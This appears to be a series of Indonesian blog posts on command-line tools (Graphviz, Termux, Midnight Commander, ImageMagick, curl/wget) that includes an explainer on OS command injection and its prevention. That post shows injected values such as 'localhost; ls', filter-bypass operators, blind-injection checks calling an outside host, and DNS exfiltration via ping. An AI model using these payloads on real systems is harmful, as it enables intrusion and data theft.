CLI: Graphviz

Ini merupakan program favorit saya untuk visualisai node dalam sebuah graph. Ketika membuat program yang memproses data graph dan ingin mendebug isinya, saya akan membuat file teks dalam bahasa DOT (Graph Description Language) lalu merendernya jadi file PNG/PDF.

File DOT bisa sangat sederhana, contohnya seperti ini. Dalam contoh ini saya memakai digraph (directed graph) atau graph dengan arah. Jika ingin graph tanpa arah bisa memakai graph saja dan ganti “->” dengan “–“.

digraph test {
A -> B;
B -> C;
B -> D;
}

Rendering bisa dilakukan dengan mudah:

dot -Tpng test.dot > test.png

Dan contoh hasilnya seperti ini:

Selain graph sederhana seperti itu, tiap arc dan node bisa memilik atribut untuk mengganti: bentuk, warna, teks. Jadi selain untuk keperluan debugging (yang sering saya pakai), graphnya bisa diperindah untuk jadi output bagi end user.

Data yang bisa ditampilkan dalam bentuk graph ada banya, tergantung pada masalah yang sedang dikerjakan, beberapa contohnya:

  • Visualisasi foreign key pada tabel di database
  • Visualisasi Abstract Syntax Tree ketika parsing
  • Visualisasi konektivitas node di jaringan

Semoga informasi mengenai dot ini bisa berguna untuk debugging/visualisasi data.

Termux Widget

Di posting ini saya hanya ingin sharing salah satu tips memakai aplikasi Termux di Android. Aplikasi Termux memungkinkan kita menjalankan sebagian aplikasi Linux di Android tanpa root. Saya sendiri punya server yang bisa diakses kapan saja, jadi jarang sekali butuh memakai ini untuk sehari-hari (cukup melakukan koneksi ke server untuk menjalankan sesuatu).

Meskipun tidak banyak saya pakai, saya punya beberapa trik yang ingin saya bagikan terutama terkait dengan Termux Widget. Dengan Widget ini kita bisa melakukan beberapa aksi dengan sekali sentuh dari launcher.

Saat ini beberapa aksi yang saya set shortcutnya:

  • restart magisk. Bagian “magisk hide” sejak Android 9 sering error dan Magisk jadi terdeteksi oleh program lain. Solusinya adalah dengan merestart HP, atau cukup merestart magisk hide
  • SSH from home dan SSH to home. Shortcut pertama untuk masuk ke server internal rumah (dari rumah) dan yang kedua untuk SSH dari luar rumah ke router
  • Start SSHD. Kadang saya ingin mengedit sesuatu di ponsel (contohnya mengedit daftar shortcut), saya bisa menjalankan ssh daemon dengan sekali sentuh
  • update notes: ini untuk mengupdate catatan yang saya simpan di repositori git
  • update wallpaper: ini menambahkan IP address di wallpaper dengan bantuan ImageMagick

Untuk membuat shortcut, kita cuma perlu membuat file skrip di dalam direktori “.shortcuts” (dot shortcuts). Skripnya terserah kita isinya apa, berikut ini contoh salah satu isi skrip saya.

Terlihat bahwa saya memakai beberapa perintah dengan awalan termux, perintah-perintah tersebut bisa diaktifkan dengan menginstall Termux API. Ada banyak hal-hal menarik yang bisa dilakukan dengan Termux API, misalnya:

  • membaca call log
  • membaca SMS log (kita bisa membuat skrip untuk memforward ke Telegram)
  • mengeset keyboard

Untuk masalah scheduling, memakai cron di termux tidak reliable, jadi saya memakai Tasker yang memanggil skrip shell. Sekarang ini saya memakai tasker yang akan mengarsipkan SMS dan mempush arsipnya ke git setiap beberapa jam.

Jika Anda adalah orang yang sering memakai Termux, maka coba pelajari Termux API dan Termux Widgets. Untuk Anda yang jarang memakai Termux tapi punya beberapa hal yang ingin diotomasi, cobalah memakai Termux dan lihat apakah bisa menyelesaikan masalah Anda.

CLI: Midnight Commander

Midnight Commander adalah aplikasi file manager untuk mode teks. Berbeda dengan aplikasi console lain yang sudah saya bahas, aplikasi Midnight Commander (MC) sifatnya interaktif. Program Midnight Commander ini merupakan clone dari Norton Commander (NC) yang sempat populer sejak 1986-1998). Midnight Commander sendiri dimulai sejak lama (1994).

Tampilan MC sangat serupa dengan NC di DOS. Warna tema defaultnya juga sama: biru. Layar dibagi jadi dua bagian, kiri dan kanan dan kita bisa menyalin file dari kiri ke kanan atau sebaliknya. MC (seperti juga NC) punya berbagai fitur built in seperti melihat/mengedit file, menghapus file, mengganti atribut file, dsb.

Biasanya saya suka 100% bekerja dengan mengetikkan perintah langsung di shell, tapi dalam kasus tertentu cara interaktif ini lebih enak. Saya punya fleksibilitas command line. Misalnya jika ingin memilih file dengan nama diawali “laporan” dan ada kata “Mei” di tengah lalu diakhiri “txt”, saya bisa menekan plus (+) lalu mengetik “laporan*Mei*txt” dan semua file yang memenuhi kondisi itu akan terpilih. Berikutnya saya bisa menekan aksi misalnya F5 (copy), F6 (move), atau F8 (delete).

Jika saya memilih file sebelum aksi dilakukan saya bisa melihat total byte terpilih, ini berguna karena:

  • saya yakin seleksi yang dilakukan sudah benar (contoh bila ternyata total file terpilih sangat sedikit, kemungkinan salah pilih file)
  • jika ingin mengcopy file bisa tahu akan butuh waktu lama atau tidak
  • jika ingin menghapus file bisa dilihat berapa disk space yang akan tersedia setelah itu

Kegunaan lain MC adalah untuk melihat isi file arsip kompresi (seperti ZIP atau TAR.GZ) tanpa harus mengekstrak filenya dulu (fitur ini disebut VFS: virtual filesystem). Menurut saya ini lebih cepat dari beberapa perintah command line untuk:

  • melist isi file arsip
  • mengekstrak 1 file saja
  • melihat filenya
  • menghapus filenya setelah selesai

MC juga bisa melakukan koneksi sftp, tapi ini jarang saya pakai. Aksi-aksi custom juga bisa dilakukan dengan membuat “user menu” yang defaultnya diaktifkan dengan tombol F2.

Jika keyboard kita tidak memiliki tombol fungsi (F1-F10), kita bisa menggunakan ESC lalu 1 (untuk F1), ESC lalu 2 (F2) dst, untuk F10 kita memakai ESC 0.

Demikian ulasan singkat mengenai MC. Saya lihat tidak banyak orang yang memakai program ini (karena sepertinya memang kurang terkenal). Semoga yang belum kenal jadi mau mencoba program ini (tersedia juga untuk Windows dan OS lain, tidak cuma di Linux).

Mengenal command Injection Attack

Dalam tulisan ini saya akan membas attack “command injection” atau dikenal juga sebagi “OS command injection”, di mana attacker bisa menyisipkan perintah untuk dieksekusi. Seperti saya contohkan dalam beberapa artikel saya dalam kategori CLI, banyak program CLI yang bisa melakukan hal kompleks dengan sangat mudah. Kadang seseorang akan memanggil program CLI eksternal daripada harus coding sendiri fungsionalitas yang rumit. Contohnya: untuk resize satu image dengan imagemagick bisa dilakukan dengan satu perintah:

convert -resize 50% input.jpg output.jpg

Dan ini bisa dipanggil dari program lain, misalnya PHP dengan:

system("convert -resize 50% input.jpg output.jpg")

Atau python dengan

import os
os.system("convert -resize 50% input.jpg output.jpg")

Atau bahasa-bahasa lain dengan cara serupa. Seperti halnya SQL injection, jika kita tidak melakukan “shell escaping” maka akibatnya bisa fatal. Contoh sederhana lain yang ada pada banyak router adalah penggunaan perintah ping via web interface. Di balik layar, yang dilakukan adalah:

system("ping -c 3 $target")

Jika kita bisa memasukkan apapun dalam $target, tanpa verifikasi, maka kita bisa memasukkan: “localhost; ls”, hasilnya: command ping localhost dieksekusi, lalu ls dieksekusi. Dalam kasus ini biasanya output ls akan muncul di layar.

Contoh command injection pada router yang saya miliki

Command injection ini bisa juga pada nama file. Jadi di contoh sebelumnya mengenai resize gambar:

system("convert -resize 50% $input tmp.jpg")

Jika kita bisa memberikan nama file apa saja, maka injection juga bisa terjadi (misalnya nama filenya “test;ls.jpg”). Dalam kasus seperti ini kita tidak bisa melihat output perintah (blind injection). Ada trik tertentu untuk eksfiltrasi output dalam kasus blind injection.

Perlu dicatat bahwa filtering beberapa karakter saja tidak cukup. Contohnya jika semicolon (;) difilter, maka masih ada beberapa cara lain untuk eksekusi perintah, misalnya:

  • memakai “|| perintah” (jika perintah pertama gagal, eksekusi perintah kedua)
  • memakai “&& perintah” (jika perintah pertama gagal, eksekusi perintah kedua)
  • memakai “$(perintah)” atau “`perintah`” (memakai backtick) untuk eksekusi sub command

Ada berbagai trik yang berhubungan dengan command injection, tapi pada dasarnya sama: kita perlu memahami penggunaan shell. Contoh kasus lain bisa dibaca di posting saya yang berbahasa inggris mengenai eksploitasi Firewall PAN OS.

Blind Command Injection

Jika output sebuah perintah tidak bisa dilihat, maka ada beberapa hal yang bisa dicoba. Pertama adalah konfirmasi bahwa memang ada bug dengan melakukan koneksi keluar menggunakan wget/curl. Misalnya kita mengeksekusi:

curl example.com/mytest.php

Jika kita liat ada hit terhadap URL tersebut, maka kita tahu bahwa command berhasil dijalankan. Jika berhasil, maka kita bisa mendownload dan menjalankan apa saja, termasuk juga connect back shell yang akan melakukan koneksi ke host kita.

Masalah dengan pendekatan di atas adalah adalah: kadang di beberapa host koneksi keluar tidak diijinkan. Alternatif lain adalah dengan DNS exfiltration

ping namahostrahasia.example.com

Dalam kasus ini kita harus mensetup tool untuk memberikan notifikasi jika host tersebut diresolve. Setelah itu diperlukan kreativitas untuk mengubah output menjadi dns request.

Pencegahan

Setiap command harus diescape supaya tidak dinterpretasikan oleh shell. Misalnya ; menjadi \;. Fungsi untuk escape ini bisa dicek di masing-masing bahasa yang dipakai.

Beberapa command juga memiliki opsi yang berbahaya yang bisa diaktifkan dengan -opsi atau –opsi. Hal ini perlu ditangani khusus, atau untuk tool yang berbasis GNU bisa memakai “–” untuk menghentikan parsing option. Contoh kasus seperti ini:

rm $namafile

Jika nama file adalah “-rf data”, maka seluruh data akan dihapus. Tapi jika kita memakai:

rm -- $namafile

Maka “-rf” tidak dianggap sebagai option, tapi sebagai nama file.

Penutup

Demikian tulisan singkat mengenai command injection. Banyak detail yang tidak saya bahas di sini karena tergantung pada detail targetnya. Pada SQL injection, berbagai command yang kita berikan tergantung pada DBMS yang kita pakai dan hak akses DBMS tersebut. Pada command injection ini juga bergantung pada beberapa hal:

  • Sistem operasi (perintah Windows berbeda dengan Linux dan sering kali banyak hal yang berbeda dengan FreeBSD atau OS lain)
  • perintah yang tersedia (jika eksploitasi dilakukan pada router, perintah yang tersedia biasanya dari Busybox dan bisa terbatas tergantung opsi compilenya)
  • Input filtering. Kadang ada filtering yang tidak tuntas, dan kadang teknik yang berbeda perlu dipakai

CLI: ImageMagick

Dalam seri CLI kali ini saya akan membahas ImageMagick yang merupakan program command line untuk manipulasi file citra/image. Ada banyak hal yang bisa dilakukan dengan ImageMagick antara lain:

  • konversi dari satu format image ke yang lain
  • resize, rotate, crop, flip file image
  • memberi frame pada file image
  • membuat file image yang berisi teks

Dalam banyak kasus, pemakaian imagemagick ini sangat mudah. Misalnya ingin konversi dari jpg menjadi png:

convert nama.jpg nama.png

Atau melakukan resize menjadi 50% dari semula

convert -resize  50% input.jpg output.jpg

Contoh lain adalah rotasi

convert -rotate 90 input.jpg output.jpg

Sebenarnya semua perintah convert bisa diganti menjadi mogrify jika kita ingin outputnya menimpa input. Tapi biasanya ini tidak saya lakukan, karena berbahaya. Contohnya jika kita salah mengubah ukuran seharusnya 50% dari semula tapi salah ketik jadi 5% dari semula, maka file tidak akan bisa dikembalikan jika kita memakai mogrify.

Saya tidak hapal banyak perintah ImageMagick, kecuali perintah-perintah yang sederhana. Biasanya saya harus melihat lagi contoh-contoh di web image magick untuk melakukan hal yang kompleks. Ada halaman khusus di ImageMagick yang memberikan contoh apa saja yang bisa dilakukan dengan ImageMagick.

Sebagian kapabilitas ImageMagick lengkapnya silakan lihat halaman contoh resmi

Untuk editing yang sangat spesifik satu gambar saja, saya akan memakai Gimp atau KolourPaint secara interaktif. Sedangkan jika saya punya banyak gambar yang harus diresize atau diedit dengan cara yang sama, saya akan menggunakan ImageMagick.

CLI: cURL dan wget

Ini tulisan pertama di seri CLI, saya mulai langsung dengan 2 tools yang bernama curl dan wget. Keduanya memiliki fungsi dasar yang sama: mendownload sesuatu dari sebuah URL. Untuk hal sangat dasar tersebut, keduanya serupa, tapi ada perbedaan fitur yang lebih advanced.

Pemakaian sederhana wget adalah:

wget https://blog.compactbyte.com/robots.txt

Defaultnya wget akan menyimpan di file robots.txt

Sementara jika kita melakukan hal yang sama dengan curl:

curl https://blog.compactbyte.com/robots.txt

Hasilnya langsung muncul di stdout

Supaya curl menyimpan di robots.txt, gunakan parameter -O. Seperti ini:

curl -O https://blog.compactbyte.com/robots.txt

Bagaimana kita bisa tahu berbagai opsi ini? dari manual pagenya. Contohnya ini potongan bagian untuk opsi -O di curl

  -O, --remote-name
          Write  output to a local file named like the remote file we get. (Only the
          file part of the remote file is used, the path is cut off.)

          The file will be saved in the current working directory. If you  want  the
          file  saved  in  a  different  directory, make sure you change the current
          working directory before invoking curl with this option.

Sebaliknya, jika kita ingin wget menampilkan ke stdout seperti curl, kita bisa memakai

wget -q https://blog.compactbyte.com/robots.txt -O –

Opsi -q tidak wajib, hanya agar tidak terlihat ada progress bar sehingga tampilannya mirip curl. Sementara opsi -O – (minus O besar, lalu minus) artinya agar output diarahkan ke stdout.

Inti dari perbandingan di atas adalah: dalam beberapa dasar hal wget dan curl bisa melakukan hal yang sama. Tapi jika kita memakai fitur lanjutannya, baru terlihat perbedaannya. Saya mulai dengan wget dulu. Wget ini yang dulu saya pakai kali pertama ketika kuliah. Tujuan pemakaiannya adalah: mendownload sesuatu di server kampus untuk saya ambil esok hari. Wget punya opsi -b (supaya bekerja di background) dan -c (resume/continue download).

Mirroring Website

Ini adalah kelebihan wget: membuat mirror sebuah website dengan opsi –mirror. Dengan mirror, maka selain sebuah halaman didownload, isi HTML akan diparse, dan file gambar serta link lain dari halaman tersebut juga akan didownload. Ini harus hati-hati karena website jaman sekarang ukurannya puluhan mega hingga ratusan gigabyte. Di jaman saya kuliah dulu, ukuran website (total) biasanya hanya ratusan kilobyte hingga beberapa megabyte.

Kita bisa membatasi agar wget tidak naik ke direktori tertentu dengan opsi -np (no parent), misalnya jika ada sesuatu artikel di direktori /main/articles, maka kita bisa melakukan ini:

wget –mirror -np http://example.com/main/articles/

Yang artinya: jika ada link ke parent directory (ke http://example.com atau http://example/com/main) maka jangan ikut link itu. Opsi -l <N> juga bisa ditambahkan agar tidak mengambil lebih dari N level directory.

Request yang kompleks

Curl memiliki kelebihan untuk bisa melakukan berbagai request yang kompleks DAN didukung oleh berbagai browser di bagian network monitornya. Pertama saya tunjukkan dulu yang saya maksud:

Ada opsi “Copy as cURL” yang kemudian bisa kita paste di console. Dengan ini kita bisa menyertakan semua header termasuk juga Cookie, “Content-Type” dsb. Dari command line kita bisa mengubah-ubah apapun.

Hebatnya lagi hasil copy dari curl itu bisa dijadikan kode program dengan situs https://curl.trillworks.com/ yang siap untuk dimodifikasi.


Curl mendukung jauh lebih banyak protokol dibandingkan wget, yaitu: DICT, FILE, FTP, FTPS, GOPHER, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP, SCP, SFTP, SMB, SMBS, SMTP, SMTPS, TELNET dan TFTP. Tidak semua ini diaktifkan, tapi biasanya HTTP dan FTP aktif.

Upload File

Baik wget maupun curl dapat digunakan untuk upload file ke sebuah server HTTP yang menerima file upload. Artinya kita perlu memiliki sebuah URL yang menerima upload.

Curl mendukung juga upload melalui FTP/SCP dsb. Hal ini bisa berguna untuk mengupload sesuatu ke FTP server, misalnya dengan:

curl -T namafile ftp://example.com/files/

Saya kadang menggunakan kedua fitur tersebut ketika pentesting: jika kita tidak bisa melihat output sebuah command, saya bisa mengupload hasil command ke sebuah server.

Penutup

Masih banyak lagi fitur-fitur wget dan curl, tapi bahasan di atas setidaknya cukup bisa memberi pencerahan mengenai fitur-fitur dasar yang bisa kita pakai.

Sebagai tambahan baik wget maupun curl tidak bisa mendownload dengan banyak koneksi. Untuk download multithreading (mendownload 1 file dengan banyak koneksi) saya memakai aria2, seperti ini:

aria2c -x10 URL

Dengan ini saya bisa mendownload lebih cepat. Tapi ini jarang saya lakukan (koneksi internet di rumah sudah sangat cepat).

Tools Command Line

Beberapa waktu lalu saya sudah membahas mengenai bash, sebuah shell yang saya pakai sehari-hari. Bash sendiri hanya memiliki sedikit command internal/built-in command dan banyak hal kompleks butuh program eksternal.

Di dalam blog ini saya sebenarnya sering menunjukkan potongan-potongan kode yang memanggil program eksternal tapi jarang membahas detailnya. Nah sekarang saya terpikir untuk menuliskan seri/kategori baru dalam blog ini yang membahas mengenai berbagai tools command line yang saya pakai, serta berbagai tips yang saya ketahui dari memakai tools-tools tersebut. Sebagian program sudah saya pakai sejak lebih dari 20 tahun yang lalu, dan sebagian lagi relatif baru.

Sebuah tools command line kadang memiliki puluhan hingga ratusan fitur (contoh: imagemagick) sehingga tidak mungkin saya bahas satu per satu semuanya. Referensi lengkap biasanya ada di halaman manual (man page) atau halaman info (untuk berbagai produk GNU).

Mungkin ada yang heran: kenapa sih harus memakai tools command line? kan banyak yang berbasis grafik?. Jika sudah lama berkutat dalam dunia command line, berbagai hal bisa dilakukan lebih cepat (misalnya menghapus file yang usianya lebih dari 3 bulan dan berakhiran huruf z).

Tools command line juga bisa dipanggil dari program lain, misalnya dengan menggunakan fungsi “system” (ada di berbagai bahasa pemrograman, seperti C, PHP, dsb). Jadi misalnya program kita tidak ingin mengimplementasikan sebuah hal kompleks, maka hal itu bisa dilakukan program command line eksternal.

Hal terakhir ini bisa menjadi masalah security. Intinya adalah: seperti SQL injection, kita juga bisa melakukan command injection. Ini akan saya bahas terpisah di bagian lain mengenai masalah security dalam mengeksekusi program eksternal.